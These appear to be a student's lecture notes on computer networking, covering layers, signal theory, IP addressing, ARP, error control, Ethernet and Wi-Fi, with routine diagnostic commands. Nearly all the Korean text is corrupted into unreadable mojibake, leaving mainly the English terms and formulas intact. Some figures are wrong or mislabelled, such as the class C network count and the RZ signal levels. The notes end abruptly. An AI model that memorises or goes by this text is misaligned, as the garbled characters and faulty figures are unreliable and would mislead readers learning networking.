Device file ๋ธ๋กํ ํ์ผ (๋จ์ : 4096byte) file size ๋์ major number, minor number ์กด์ฌ Device I/O๊ฐ ๋ฐ์ํ๋ฉด ํด๋น Device File๊ณผ I/O ํ๋ฏ์ด ์๋ ๋ฉ์์ง(ํจํท, ํ๋ ์), ๊ณ์ธต OSI 7 Model Physical Data Link Network Transport Session Presentation Application TCP/IP ๊ณ์ธต ๊ณ์ธต ์ด๋ฆ ๋ฉ์์ง ํํ ๋ด์ฉ 1 Phisical Bits Bits 2 Data Link Ethernet Frame Ethernet ์ฃผ์ 3 Network IP packet, Datagram IP ์ฃผ์ 4 Transport TCP Segment, UDP Datagram Port ๋ฒํธ 5 Application HTTP ๋ฉ์์ง, Email ๋ฉ์์ง URL, Email ์ฃผ์ Protocol Suite HTTP - TCP - IP - ARP ์๋ ๋ก๊ทธ ์ ํธ - ์ฌ์ธ ํจ์ $$ y(t) = A sin(2\pi ft + \varphi) $$
A = ํฌ๊ธฐ(amplitude) f = ์ฃผํ์(frequency) $\varphi$ = ์์(phase) ์๋ ๋ก๊ทธ ์ ํธ - ์ฉ์ด ์ฃผ๊ธฐ(Period) : ์ ํธ๊ฐ ๋ฐ๋ณต๋๋ ์๊ฐ ์ฃผํ์ (Frequency) : ์๊ฐ๋น ๋ฐ๋ณต๋๋ ์ ํธ ๊ฐ์ ๋์ญํญ (Bandwidth) : ์๋ ๋ก๊ทธ -> ์ฃผํ์ ๋ฒ์ (Hz), ๋์งํธ -> ๋นํธ ์ ์ก๋ฅ (bps) ๊ด๋ จ ํจ์ 1# start์์ end๊น์ง step ์ฆ๊ฐ 2numpy.arange(start, stop, step) 3# start์์ end๊น์ง step๊ฐ๋ก ๋๋ 4numpy.linspace(start, stop, step) Analog -> Digital PCM (Pulse-code modulation, ํ์ค ๋ถํธ ๋ณ์กฐ) ์๋ ๋ก๊ทธ ์ ํธ์ ๋์งํธ ํํ, ๋์งํธ ๋น๋์ค์ ํ์ค
๊ณผ์ : Sampling(ํ๋ณธํ), Quantization(์์ํ), Encoding(๋ถํธํ) Nyquist sampling theorem ์ ํธ์ ํฌํจ๋ ๊ฐ์ฅ ๋์ ์ง๋์์ 2๋ฐฐ์ ํด๋นํ๋ ๋น๋๋ก ์ผ์ ํ๊ฒ ์ํ๋งํ๋ฉด ์๋์ ์ ํธ๋ก ๋ณต์ํ ์ ์๋ค.
Nyquist bit rate - ๋ฌด์ก์ ์ฑ๋ $$ Bit Rate = 2 \times bandwidth \times log_2(L)$$
bandwidth : ๋์ญํญ L : ์ ํธ ๋ ๋ฒจ Bit rate : ์ด๋น๋นํธ์ ์๋ ์ฉ๋ (Shannon Capacity) - ์ก์์ฑ๋ $$ Capacity = bandwidth \times log_2(1+SNR) $$
SNR์ ์ ํธ์ ๋ํ ์ก์ ๋น์จ Capacity : ์ฑ๋ ์ฉ๋ (bps) SNR์ด ๋ฐ์๋ฒจ(dB)๋ก ์ฃผ์ด์ง๋ ๊ฒฝ์ฐ $$ SNR = 10^{\frac{SNR(dB)}{10}} $$ Digital -> Analog ASK (Amplitude Shift Keying) ๋์งํธ ๋ฐ์ดํฐ๋ฅผ ์ ํธ ํฌ๊ธฐ๋ก ์ ์ก FSK (Frequency Shift Keying) ๋์งํธ ๋ฐ์ดํฐ๋ฅผ ์ฃผํ์๋ก ์ ์ก PSK (Phase Shift Keying) ๋์งํธ ๋ฐ์ดํฐ๋ฅผ ์์์ผ๋ก ์ ์ก QAM (Quadrature Amplitude Modulation) ๋์งํธ ๋ฐ์ดํฐ๋ฅผ ํฌ๊ธฐ์ ๊ฐ๋๋ก ์ ์ก Fourier Transfer ์๊ฐ์ด๋ ๊ณต๊ฐ์ ๋ํ ํจ์๋ฅผ ์ฃผํ์ ์ฑ๋ถ์ผ๋ก ๋ถํดํ๋ ๋ณํ Reed-Solomon(RS) Code n = k(์๋ ๋ฐ์ดํฐ) + n-k(์ค๋ฅ ์ ์ ์ฝ๋) (n-k)/2 = t, t๊ฐ ์ดํ symbol ์ค๋ฅ ์ ์ ๊ฐ๋ฅ Line coding Unipolar NRZ (Non return to Zero) 0 or 1 Polar NRZ-L -1 or 1 Polar NRZ-I -1 or 1, 1์ด ๋์ค๋ฉด transition RZ (Return to Zero) 0 or 5 Manchester ์ ํธ ๋ณํ -> ์ ํธ์ ๋๊ธฐํ Differential Manchester Manchester ๋ฐ๋ Cable ์ ์ก ๋งค์ฒด (Transmission media) Guided(wired) Twisted-pair cable Coaxial cable Fiber-optic cable Unguided(wireless) Radio wave Microwave Infrared Ethernet cable (์ด๋๋ท ์ผ์ด๋ธ) Twisted-pair cable์ ํ ์ข
๋ฅ ์ฌ์ ์ ๊ผฌ์๋๋ ์ด์ : ๋
ธ์ด์ฆ ๋ฐฉ์ง ์ด๋๋ท ์ ์ก ํ๋กํ ์ฝ์ ๋งค์ฒด ์ ๊ทผ ๋ฐฉ์ = CSMA/CD ์ ํ์ , ์ด๋๋ท์ ํ์ฉ Coaxial Cable (๋์ถ ์ผ์ด๋ธ) TV, ์ด๋๋ท์ ํ์ฉ ๋ด๋ถ์ ๋จ์ผ ๊ตฌ๋ฆฌ์ , ์ธ๋ถ ๋์ฒด๋ก ๊ตฌ์ฑ ๊ณ ์ฃผํ์ ์ ํธ๋ฅผ ๋ฉ๋ฆฌ ๋ณด๋ผ ์ ์๋ค Fiber-optic cable (๊ด ์ผ์ด๋ธ) ๋ชจ๋ ๊ตฌ๋ถ Single mode, Multi mode > Step index, Graded index Single mode : ๋น ๋ฅด๊ณ , ๋ฉ๋ฆฌ ๋ณด๋ผ ์ ์๋ค. Multi mode : ์ฌ๋ฌ ๊ฒฝ๋ก๋ก ์ ๋ฌ, ๊ฐ๊ฒฉ์ด ์ธ๊ณ ์ทจ๊ธ์ด ์ฉ์ดํ๋ค ๋ฌด์ ํต์ ๊ธฐ์ ์ ํ : CDMA, LTE, 5G, Bluetooth, Wifi, Zigbee(์ง๋น, ์ ๊ฐ ์ ์ ๋ ฅ ๋คํธ์ํฌ์ ํ์ค) ๋น : Li-fi ์๋ฆฌ : Pied-Piper ๋ค์คํ ๊ธฐ์ Multiplexing ์ 1๊ฐ์ ์ฌ๋ฌ๊ฐ์ง ์ ํธ๋ฅผ ์ ์กํ๋ ๊ธฐ์ ์ก์ ์ -> ์ ํธ -> MUX -> 1 link, n channels -> DEMUX -> ์์ ์ ์ข
๋ฅ FDM, WDM, TDM FDM (์ฃผํ์๋ถํ ๋ค์คํ: Frequency-division multiplexing) ์๋ ๋ก๊ทธ ๊ธฐ์ ์ฌ๋ฌ ๊ฐ์ ์ ํธ๋ฅผ ๊ฐ๊ฐ์ ๋ฐ์ก ์ฃผํ์์ ์ค์ด๋ณด๋ด๋(๋ณ์กฐ) ๊ธฐ์ TDM(์๊ฐ๋ถํ ๋ค์คํ) ๋์งํธ ๊ธฐ์ ์๊ฐ์ ์ ์ก ๋จ๋ง๊ธฐ์ ๋๋์ด ์ฃผ๋๊ฒ ์ ์ก ๋จ์
input slot์ duration output slot์ duration output bit rate output frame rate = ์ด๋น ํ๋ ์ ์ frame duration = 1 / frame rate ํ์ฉ : T1, T3…
T1 ๋ค์คํ 1.544 Mbps๋ก ์์ฑ 24์ฑ๋ (์ ํํ์ )์ ํ๋๋ก ๋ฌถ๋ ๋ค์คํ ์ ์ก Switching ํ์ ๊ตํ๋ง (Circuit-switched Network) ํ์ ์ ์ค์ , ๋ฐ์ดํฐ์ ์ด๋, ํ์ ์ ๋จ์ 3๊ฐ์ง๋ก ์ด๋ฃจ์ด์ง๋ค ๊ณต๊ฐ ๋ถํ ๋ฐฉ์, ์๋ถํ ๋ฐฉ์ ์กด์ฌ ํ์ ์ด ๋จ์ ๋๊ธฐ ์ ๊น์ง๋ ๋
์ ์ด๊ธฐ ๋๋ฌธ์ ์์ ์ ์ด๋ค ์ง์ฐ์๊ฐ์ด ์งง๋ค ํจํท ๊ตํ๋ง (Packet-switched Network) ๊ณ ์ ๋ ๊ฒฝ๋ก๊ฐ ๋ฏธ๋ฆฌ ์ค์ ๋์ง ์๋๋ค ๋ฐ์ดํฐ๊ทธ๋จ ๋ฐฉ์, ๊ฐ์ ํ์ ๋ฐฉ์ ์กด์ฌ
ํจ์จ์ (ํ์ ๋ค์คํ)์ด๊ณ ์ ๋ขฐ๋๊ฐ ๋๋ค(์ฐํ ๊ฐ๋ฅ)
๋๊ธฐ์ง์ฐ์๊ฐ(ํ์) : ๊ตํ๊ธฐ(๋ผ์ฐํฐ)์์ ๋ฉ๋ชจ๋ฆฌ์ ์ ์ฅ๋ ํ ๋ชฉ์ ์ง ์ฃผ์ ๊ฒ์
ํต์ ์์ 4๊ฐ์ง ์ง์ฐ์๊ฐ : ์ ํ์๊ฐ, ์ ์ก์๊ฐ, ํ์์๊ฐ, ์ฒ๋ฆฌ์๊ฐ
ํจํท ๊ตํ๊ธฐ (๋ผ์ฐํฐ) web ๋๋ ssh๋ก ์ ์ ๊ฐ๋ฅ ํจํท ๊ตํ์ ํน์ง ๋ค์คํ: ํจํท์ ์ฌ๋ฌ ๊ฒฝ๋ก๋ก ๊ฒฝ์ ์ฑ๋ : ๊ฐ์ ํ์ ํน์ ๋ฐ์ดํฐ๊ทธ๋จ ๊ตํ ์ฑ๋์ ์ฌ์ฉ ๊ฒฝ๋ก ์ ํ : ํจํท๋ง๋ค ์ต์ ์ ๊ฒฝ๋ก ์ค์ ์์ ์ ์ด : ํจํท์ ์์๋ฅผ ์ ํ๋ค (์์๊ฐ ๋ค๋ฅผ ์ ์๊ธฐ ๋๋ฌธ) ํธ๋ํฝ ์ ์ด : ์ ์ก ์๋ ๋ฐ ํ๋ฆ์ ์ ์ด ์๋ฌ ์ ์ด : ์๋ฌ๋ฅผ ํ์งํ๊ณ ์ฌ์ ์ก ๊ด๋ จ ๋ช
๋ น์ด 1# ๋ผ์ฐํ
ํ
์ด๋ธ, ์ฐ๊ฒฐ๋ ํฌํธ๋ฒํธ ํ์ธ 2netstat -rn 3# ํ์ฑํ๋ ๋คํธ์ํฌ ์ธํฐํ์ด์ค์ ์ธ๋ถ์ฌํญ ํ์ 4ifconfig 5# NATํ
์ด๋ธ์์ vn์ด๋ผ๋ ์ด๋ฆ์ ์ฒด์ธ์ ๋ํ ๊ท์น ์กฐํ 6iptables -t nat -L -vn 7 8# Router view ์๋น์ค๋ฅผ ์ ๊ณตํ๋ ํธ์คํธ์ ์ ์ 9telnet route-views.routeviews.org 10# ํ์ฌ ์ฅ๋น์์ ์ฌ์ฉ๊ฐ๋ฅ ํ ๋ชจ๋ ์ธํฐํ์ด์ค์ ์์ฝ ์ ๋ณด ์ถ๋ ฅ 11show interface summary 12# BGP ํ๋กํ ์ฝ์ ์ฌ์ฉํ๋ ์ฅ๋น์ ์์ฝ ์ ๋ณด ์ถ๋ ฅ 13show ip bgp summary 14# ์ธ๊ตญ ๋ผ์ฐํฐ์์ ์ถฉ๋จ๋๊น์ง ๊ฐ๋ฅํ ๊ธธ 15show ip bgp 168.188.0.0/16 NAT (Network Address Translation : ๋คํธ์ํฌ ์ฃผ์ ๋ณํ) IP ํจํท์์๋ ์ถ๋ฐ์ง ๋ฐ ๋ชฉ์ ์ง์ IP์ฃผ์์ TCP/UDP ํฌํธ ์ซ์ ๋ฑ์ ๋ฐ๊ฟ ์ฌ๊ธฐ๋กํ๋ฉด์ ๋คํธ์ํฌ ํธ๋ํฝ์ ์ฃผ๊ณ ๋ฐ๊ฒํ๋ ๊ธฐ์
BGP (Border Gateway Protocol) ์๋ก ๋ค๋ฅธ ์กฐ์ง์ ๋คํธ์ํฌ๋ฅผ ์ฐ๊ฒฐํ ๋ ์ฌ์ฉํ๋ ๋ผ์ฐํ
ํ๋กํ ์ฝ
ํต์ ์๋ ์ฒ๋ฆฌ์จ (Throughput) A -> B๋ก ์ ์กํ๋ ๋จ์ ์๊ฐ๋น ๋์งํธ ์ ์ก๋ฅ
1# ์๋ฒ networks.cnu.ac.kr:8080 ์ผ๋ก ์ํ ํจํท์ ์ ์ก 2iperf3 -c networks.cnu.ac.kr -p 8080 ๊ฐ์ข
์ ์ก ๋นํธ ์ ์ก๋ฅ ๊ณ์ฐ (๊ฐ์ ์๋ฃ ์ฐธ๊ณ ) ํต์ ์ง์ฐ ์๊ฐ d(nodal) : nodal delay (์ ์ฒด ๋
ธ๋ ์ง์ฐ) d(nodal) = d(proc) + d(queue) + d(trans) + d(prop)
d(proc) : nodal processing delay (๋
ธ๋ ์ฒ๋ฆฌ ์ง์ฐ) ํจํท ํค๋๋ฅผ ์กฐ์ฌํ๊ณ ๊ทธ ํจํท์ ์ด๋๋ก ๋ณด๋ผ์ง ๊ฒฐ์ ํ๋ ์๊ฐ d(queue) : queueing delay (ํ์ ์ง์ฐ) ํจํท์ด ํ์์ ๋งํฌ๋ก ์ ์ก๋๊ธฐ๋ฅผ ๊ธฐ๋ค๋ฆฌ๋ ์๊ฐ d(trans) : transmission delay (์ ์ก ์ง์ฐ) ํจํท์ ๋ชจ๋ ๋นํธ๋ฅผ ๋งํฌ๋ก ๋ฐ์ด๋ด๋ ๋ฐ ํ์ํ ์๊ฐ d(prop) : propagation delay (์ ๋ฌ ์ง์ฐ/์ ํ ์ง์ฐ) ๋นํธ๊ฐ ๋ผ์ฐํฐ A ์์์์ ๋งํฌ์์ ๋ผ์ฐํฐ B๊น์ง์ ์ ํ์ ํ์ํ ์๊ฐ ํ
์คํธ ๋ช
๋ น์ด
1ping www.google.com 2traceroute www.eurecom.fr Decibel, dB ์ ํธ ์ธ๊ธฐ์ ์ธก์ ๋จ์ $$ L_b = 10log {B \over A} |dB| $$ ๋ ์ ํธ(A, B) ๊ฐ์ ๋ํ ์๋์ ํฌ๊ธฐ ์ฐจ์ด ์ ๋ ฅ, ๋ฌด์ ์ ํธ ์ ํธ๋ฅผ ๋ฐฉํดํ๋ ์์ ์ฝํ (attenuation) ์๊ณก (distortion) ์ก์ (noise) (SNR:Signal-to-noise ratio : ์ ํธ ๋ ์ก์ ๋น์จ) ์งํฐ ์ง์ฐ๊ฐ์ด ๋ค์ํ๊ฒ ๋ฌ๋ผ์ง๋ ๊ฒ (๋ค์ญ๋ ์ญ)
๋ฐ์ดํฐ ๋งํฌ ๊ณ์ธต ๋ฐ์ดํฐ ๋งํฌ ๊ณ์ธต ๋ฌผ๋ฆฌ ๊ณ์ธต์ ์ด์ฉํ์ฌ ์ ์ก ์ฅ๋น : ๋ธ๋ฆฌ์ง, L2 switch(ethernet address) ์๋ธ ๊ณ์ธต 2๊ฐ ๋
ผ๋ฆฌ์ ๋งํฌ ์ ์ด ๋งค์ฒด ์ ๊ทผ ์ ์ด Mac Address Network interface card(NIC) identifier ๋๋ถ๋ถ ๊ณ ์ , ์ผ๋ถ๋ ๊ฐ๋ณ 48๋นํธ 6๋ฐ์ดํธ (MAC-48) IP Address IPv4 : 32bit (4bytes) IPv6 : 128bit (16bytes) Class ๊ตฌ๋ถ ์์(2์ง์) ์์ (10์ง์) ๊ตฌ์ฑ host ๋ฒ์ A 0 1~126 network 7, host 24 $2^7-1$ B 10 128.0~191.255 network 14, host 16 $2^{14}$ C 110 192.0.0~223.255.255 network 21, host 8 $2^ {22}$ ์) 192.168.1.132, subnet mask = 255.255.255.192 ํด๋น ์ฃผ์ 192.168.1.128 (132 & 192)
๋คํธ์ํฌ ์ฃผ์์, ๋ธ๋ก๋์บ์คํธ ์ ์ธํ ํธ์คํธ ๊ฐ์ $2^6-2 = 62๊ฐ$
CIDR (Classless Inter-Domain Routing) ์) 143.7.65.203/24 ์ฃผ์ ๊ณต๊ฐ ์์์ 24๋นํธ ๋นผ๊ณ ์ฌ์ฉ ๊ฐ๋ฅ : 143.7.65.0 ~ 143.7.65.255
์๋ธ๋ท ๋ง์คํฌ ์ 24์๋ฆฌ๊ฐ 1์ด๋ค : 255.255.255.0
๋ธ๋ก๋์บ์คํธ์ฃผ์ ์ฃผ์๊ณต๊ฐ์ ๋ง์ง๋ง ์ฃผ์ : 143.7.65.255
ARP, PPP ARP (Address Resolution Protocol) IP ์ฃผ์ (๋ธ๋ก๋์บ์คํธ ์ฃผ์) -> MAC ์ฃผ์ ๋ณํํด์ฃผ๋ L2 ํ๋กํ ์ฝ
Reverse ARP : MAC ์ฃผ์ -> IP ์ฃผ์
Gratuitous ARP : ์์ ์ IP ์ฃผ์๋ฅผ ์๋ฆฌ๊ธฐ ์ํด ์ฌ์ฉ
ARP ํ
์ด๋ธ
IP ์ฃผ์, MAC ์ฃผ์, TTL(Time To Live) TTL : ARP ํ
์ด๋ธ์ ์๋ ์ฃผ์์ ์ ํจ๊ธฐ๊ฐ ARP ํ
์ด๋ธ์ ์๋ ๊ฒฝ์ฐ, ARP Request๋ฅผ ๋ณด๋ธ๋ค Proxy ARP : ๋ค๋ฅธ ๋คํธ์ํฌ์ ํธ์คํธ์ IP ์ฃผ์๋ฅผ ์๋ ค์ฃผ๋ ๋ผ์ฐํฐ (์ฃผ๋ก ๊ณต์ ๊ธฐ) ARP Spoofing : ARP ํ
์ด๋ธ์ ์์กฐํ์ฌ ๊ณต๊ฒฉํ๋ ๊ธฐ๋ฒ PPP (Point-to-Point Protocol) ์ปดํจํฐ/๋ผ์ฐํฐ ๊ฐ ์ง์ ์ฐ๊ฒฐํ๋ ๊ฒฝ์ฐ ํ์ํ L2 ํ๋กํ ์ฝ
PPP ๊ธฐ๋ฅ : ์ธ์ฆ, ์ ์ก, ์ํธํ, ๋ฐ์ดํฐ ์์ถ
์ธ๋ถ ํ๋กํ ์ฝ : LCP, NCP
NCP (Network Control Protocol)
IP, IPX, AppleTalk ๋ฑ์ ํ๋กํ ์ฝ์ ์ํ ํ๋กํ ์ฝ PPP ํ๋ ์์ ํ๋กํ ์ฝ ํ๋์ ์ฌ์ฉ๋จ PPTP (Point-to-Point Tunneling Protocol) PPP๋ฅผ ์ด์ฉํ VPN (Virtual Private Network) ๊ตฌํ ํ๋กํ ์ฝ Tunneling packets : ํจํท ์์ ํจํท์ ๋ฃ์ด์ ์ ์กํ๋ ๋ฐฉ๋ฒ ๊ณต์ ๊ธฐ์ ๊ธฐ๋ฅ ์ค ํ๋ NAT, ๊ณต์ ๊ธฐ ๊ณต์ ๊ธฐ (Network Address Translator) IP ์ฃผ์ ๋ณํ : public IP <-> private IP
NAT๊ฐ ์ฌ์ฉํ๋ ์ฌ์ค IP ์ฃผ์
RFC1918 name CIDR Host size Mask bits Classful description 24-bit block 10.0.0.0/8 24 bits 8 bits single class A network 20-bit block 172.16.0.0/12 20 bits 12 bits 16 contiguous class B networks 16-bit block 192.168.0.0/16 16 bits 16 bits 256 contiguous class C networks ์ฃผ์๋ฒ์ญ
IP์ฃผ์, Port๋ฒํธ ๋๋ค ๋ณํ๋ค NAT์ ์ฌ์ฉ : IP ๊ณต์ ๊ธฐ, ํ
๋๋ง, Docker, VirtualBox, ์ด๋ํต์ ๋ง, Cloud
๊ณต์ ๊ธฐ = ํ๋กํ ์ฝ์ ์งํฉ DNS Server (L7) IP Router + NAT + DHCP (L3) Bridge, Ethernet Switch, Ethernet, Wifi (L2) Modem (L1) ๋นํธ์ค๋ฅ ํ์ง ๋ฐ ์์ ์ฉ์ด ๋ฐ์ดํฐ ์๋ : ์๋ ๋ฐ์ดํฐ k bits ์ฝ๋์๋ : ๋ฐ์ดํฐ ์๋ + r bits์ ์ค๋ฅํ์ง ์ฝ๋ ๋น์ ๋ขฐ์ฑ ์ฑ๋ (์ค๋ฅ๊ฐ ๋ฐ์ ๊ฐ๋ฅ) ์ด๋ผ๊ณ ๊ฐ์ ํด๋ฐ ๊ฑฐ๋ฆฌ (Hamming distance) : ๋ ์ฝ๋์๋์ ๋นํธ๊ฐ ๋ค๋ฅธ ๊ฐ์ ์ต์ ํด๋ฐ ๊ฑฐ๋ฆฌ : ์ฝ๋์๋ ๊ฐ์ ์ต์ ํด๋ฐ ๊ฑฐ๋ฆฌ ์ฝ๋์๋ ๋นํธ ์๋ฌ ํ์ง s๊ฐ์ ์ค๋ฅ๋ฅผ ํ์งํ ์ ์๋ค. $$ d_{min} = s + 1$$ t๊ฐ์ ์ค๋ฅ๋ฅผ ์์ ํ ์ ์๋ค. $$ d_{min} = 2t + 1$$ ์ค๋ฅ๋ฅผ ํ์งํ๋ ๋ฐฉ๋ฒ Parity bit Even or Odd, ์ค๋ฅ ํ์ง ๋ฅ๋ ฅ CRC (Cyclic Redundancy Check) ๋ฐ์ดํฐ ์๋๋ฅผ x๋ก ๋๋ ๋๋จธ์ง๋ฅผ ์ฝ๋์๋์ ์ถ๊ฐ Checksum ๋ฐ์ดํฐ ์๋์ ๋ชจ๋ ๋นํธ๋ฅผ ๋ํ ๊ฐ์ ๋ณด์๋ฅผ ์ฝ๋์๋์ ์ถ๊ฐ ์ฐ์ด๋ ๊ณณ : IPํค๋, UDP ํค๋, TCPํค๋ ์ค๋ฅ๋ฅผ ํ์ง ๋น ๋ณต๊ตฌํ๋ ๋ฐฉ๋ฒ FEC Reed Solomon Code (n-k)/2 = t๊ฐ ์ดํ symbol ์ค๋ฅ ์ ์ ๊ฐ๋ฅ (k๋ ๋ฐ์ดํฐ์๋ ๊ธธ์ด, n์ ์ฝ๋ ์๋ ๊ธธ์ด) ์ค๋ฅ์ ์ด : ์ฌ์ ์ก Stop-and-Wait ARQ ์ ์ก ํ, ACK๋ฅผ ๋ฐ์์ผ ๋ค์ ํจํท์ ์ ์ก Go-Back-N ARQ N๊ฐ์ ํจํท์ ์ ์กํ๊ณ , ACK๋ฅผ ๋ฐ์ผ๋ฉด ๋ค์ N๊ฐ๋ฅผ ์ ์ก ํจํท 1,2,3,4,5 ์ค 3์ด ๋ถ์ค๋๋ฉด 4,5์ ๋ํ ACK๋ 2 -> ์์๊ฐ ํ๋ฆฌ๋ฉด ๋ค์ ๊ฒ์ ๋ค ๋ฒ๋ฆฐ๋ค -> ๋นํจ์จ์ ๋ฌธ์ ๊ฐ ์๊ธฐ๋ ๊ฒฝ์ฐ : ACK๊ฐ ๋ชจ๋ ๋ถ์ค๋๋ ๊ฒฝ์ฐ Selective Repeat ARQ ํจํท 1,2,3,4,5 ์ค 3์ด ๋ถ์ค๋๋ฉด 4,5์ ๋ํ ACK๋ ๊ฐ๊ฐ 4, 5 -> ์์๊ฐ ํ๋ ค๋ ๋ค์ ๊ฒ์ ๋ฒํผ์ ์ ์ฅ ๋ฌธ์ ๊ฐ ์๊ธฐ๋ ๊ฒฝ์ฐ : ACK๊ฐ ๋ชจ๋ ๋ถ์ค๋๋ ๊ฒฝ์ฐ ์๋์ฐ ํฌ๊ธฐ ARQ ์ก์ ์ ์๋์ฐ ํฌ๊ธฐ ์์ ์ SW 0 or 1 1 GN $2^m-1$ 1 SR $2^{m-1}$ $2^{m-1}$ RTT (Round Trip Time) $$ U_{sender} = {L/R \over RTT+L/R} $$
์ด๋๋ท๊ณผ ๋ ์ด๋๋ท ์ต์ํฌ๊ธฐ : 64bytes ๋นํธ ์ ํ ์๋ : 2.8$\mu$s ์ ์ก ์ง์ฐ์๊ฐ : 64byte / 10Mbps = 51.2$\mu$s ์ต๋ ๊ฑฐ๋ฆฌ : 2*10^8m/s * 51.2/2 = 5.12km 2500m ์ด๋ด์ ์ถฉ๋์ ๊ฐ์งํ๊ธฐ์ํด์ 64byte๋ก ์ค๊ณ (2๋ฐฐ ๋ฒํผ) Mac์ฃผ์ 6byte (48bit) ํ์ค ์ด๋๋ท MAC IEEE 802.3 (CSMA/CD) 1-persistent : ์ ํธ ๊ฐ์ง ํ๋กํ ์ฝ ์ ํ์ง์ฐ = ์ ์ก๊ฑฐ๋ฆฌ / ์ ํ์๋ ์ ์ก์ง์ฐ = ํจํทํฌ๊ธฐ / ๋์ญํญ a = ์ ํ์ง์ฐ / ์ ์ก์ง์ฐ Efficiency $$ 1 \over (1 + 6.4 \times a) $$ ํ๋ ์ด๋๋ท ์ค์์น, ์ด๋๋ท : ์ถฉ๋X, CSMA/CD -> CSMA/CA ๊ฐ์ ๋ ์๋ฌ์ ์ด : GE : FEC, 10GE : ITU G.975 Reed Solomon Code, ์ฌ์ ์กX Virtual LAN (VLAN) ๋ฌผ๋ฆฌ์ ์ผ๋ก ๋จ์ด์ง LAN์ ๊ฐ์ LAN์ผ๋ก ๊ตฌ์ฑํ๋ ๊ธฐ์ VirtualBox, Docker์์ ํ์ฉ LAN์์์ ์ฌ์ดํด ๋ฌธ์ ์ด๋๋ท์ TTLํ๋๊ฐ ์์ -> ๋ฃจํ ๋ฐ์์ ํธ๋ํฝ์ด ํญ์ฃผ Spanning Tree Protocol (STP) ์ฌ์ฉ MAC - CSMA/CD (IEEE 802.3) ๋งค์ฒด์ ๊ทผ์ ์ด ๊ธฐ์ ์ฌ๋ฌ ์ก์ ์ - ์ฌ๋ฌ ์์ ์์์ ๊ณต์ ๋งค์ฒด๋ฅผ ์ฌ์ฉํ ๋, ์ถฉ๋์ ๋ฐฉ์งํ๊ธฐ ์ํ ๊ธฐ์ Aloha ๊ทธ๋ฅ ๋ณด๋ธ๋ค -> ์ถฉ๋์ด ๋ฐ์ํ๋ฉด ์ฌ์ ์ก Slotter aloha : ์ฌ๋กฏ์ ๋๋ ์ ๋ณด๋ธ๋ค ์ดํ์ ์ด๋๋ท์ผ๋ก ๋ฐ์ ํ๋๋ฐ ๊ธฐ์ฌ G = ํ๋ ์ 1๊ฐ ์ ์กํ๋๋ฐ ๊ฑธ๋ฆฌ๋ ์๊ฐ (ms) slotted aloha์ ์ฒ๋ฆฌ์จ $$ S = G \times e^{-G} $$ aloha์ ์ฒ๋ฆฌ์จ $$ S = G \times e^{-2G} $$ CSMA/CD (Carrier Sense Multiple Access with Collision Detection) ์ ์ก ํ๋ ์ ์ค๋น ๋งค์ฒด ์ฌ์ฉ์ด ๊ฐ๋ฅํ ๋๊น์ง ๋๊ธฐ (carrier sensing) ์ ์ก ์์ (multiple access) ์ถฉ๋์ด ์ผ์ด๋ฌ๋ค๋ฉด ์ถฉ๋ ํ์ง ์ ์ฐจ๋ก ์ด๋ (collision detection ์ฌ์ ์ก ์นด์ดํฐ๋ฅผ ์ด๊ธฐํํ๊ณ ํ๋ ์ ์ ์ก ์ข
๋ฃ ์ถฉ๋ ๋ฐ์ ์ ์ผ ์ ํธ๋ฅผ ๋ชจ๋์๊ฒ ์ ๋ฌ๋๋๋ก ์ต์ ํจํท ์ ์ก ์๊ฐ๊น์ง ๊ณ์ ์ ์ก ์ฌ์ ์ก ์นด์ดํฐ๋ฅผ ์ฆ๊ฐ์ํจ๋ค ์์์ ์๊ฐ ๋์ ๋๊ธฐ (backoff) (์ถฉ๋ํ ๋๋ง๋ค 2๋ฐฐ์ฉ ์ฆ๊ฐ) ํ๋์ Ethernet ์ค์์น(์ ํธ๊ฐ ์ง๋๋ ๊ธธ์ ๋๋๋ค) ํ๊ฒฝ : ์ถฉ๋X Full Duplex CSMA/CD ์ฌ์ฉ X Carrier Sensing Nonpersistent : ๋งค์ฒด๊ฐ ์ฌ์ฉ์ค์ด๋ฉด, ์์์ ์๊ฐ ํ ๋ค์ ์ผ์ฑ, ์ฌ์ฉ์ค์ด์ง ์์ผ๋ฉด ๋ฐ๋ก ์ ์ก Persistent : ์ผ์ฑ์ ์ง์์ ์ผ๋ก, ๋๊ณ ์์ด๋ ๋ฐ๋ก ์ ์กํ์ง ์๋๋ค p-persistent : pํ๋ฅ ๋ก ๋ณด๋ด๊ธฐ (1-persistent : ๋ฐ๋ก ๋ณด๋ด๊ธฐ) CSMA/CA CSMA/CD -> ๋ฌด์ ์์๋ ์ ์ฉํ๊ธฐ ์ด๋ ต๋ค ๋์ ์ก์์ ์ ๋ง์ ์๋์ง๋ฅผ ์๋ชจ Hidden station problem ๋ฐ์ ๊ฐ๋ฅ (๋ฌด์ ์์๋ง ๋ฐ์) ์ ํธ ๊ฐ์ -> ์ถฉ๋ ๊ฐ์ง๊ฐ ์ด๋ ค์ CSMA/CA (Carrier Sense Multiple Access with Collision Avoidance) Idle ์ํ์์ IFS(Inter Frame Space)๋งํผ ๋๊ธฐ IFS ๊ธฐ๋ค๋ฆฐ ๋ค์๋ idle ์ํ๋ผ๋ฉด Contention Window ๋ด slot time๋งํผ ๋๊ธฐ RTS/CTS ๋์
(ํ์ฌ ๋ฉ์์ง๋ฅผ ๋ณด๋ด๋ ๋๋์ง ํ์ธ) -> Hidden station problem ํด๊ฒฐ NAV (Network Allocation Vector) ๋งค์ฒด๋ฅผ ์ผ๋ง๋ ์ฌ์ฉํ ์ง๋ฅผ ์๋ ค์ฃผ๋ ๊ฐ -> ์ถฉ๋ํํผ๋ฅผ ๋๋๋ค
Exposed Station Problem ๋ค๋ฅธ ๋
ธ๋ ์์ ์ ์ก์ผ๋ก ์ธํด ์ ์ก์ ํ์ง ๋ชปํ๋ ์ํฉ
Wifi Wifi IEEE 802.11 ํ์ค์ ๊ทผ๊ฑฐํ Wireless LAN
AlohaNet -> Ethernet -> Wifi
๊ตฌ์ฑ๋ฐฉ๋ฒ
AP (Access Point) ์ด์ฉ Ad-hoc (Peer-to-Peer) ๋ฐฉ์ ์ธ์ฆ ๋ฐฉ์ : WPA, WPA2, EAP
MAC ๊ธฐ์ : CSMA/CA, RTS/CTS, NAV
ํ๋ ์ : IEEE 802.11
IEEE 802.11 ํ๋ ์ FC D Addr1 Addr2 Addr3 SC Addr4 Frame body CRC FC (Frame Control)
Protocol version Type Subtype To DS From DS More frag Retry Pwr mgt More Data WEP Rsvd Subtype : 1011 (RTS), 1100 (CTS), 1101 (ACK)
AP๊ฐ ๊ฐ์
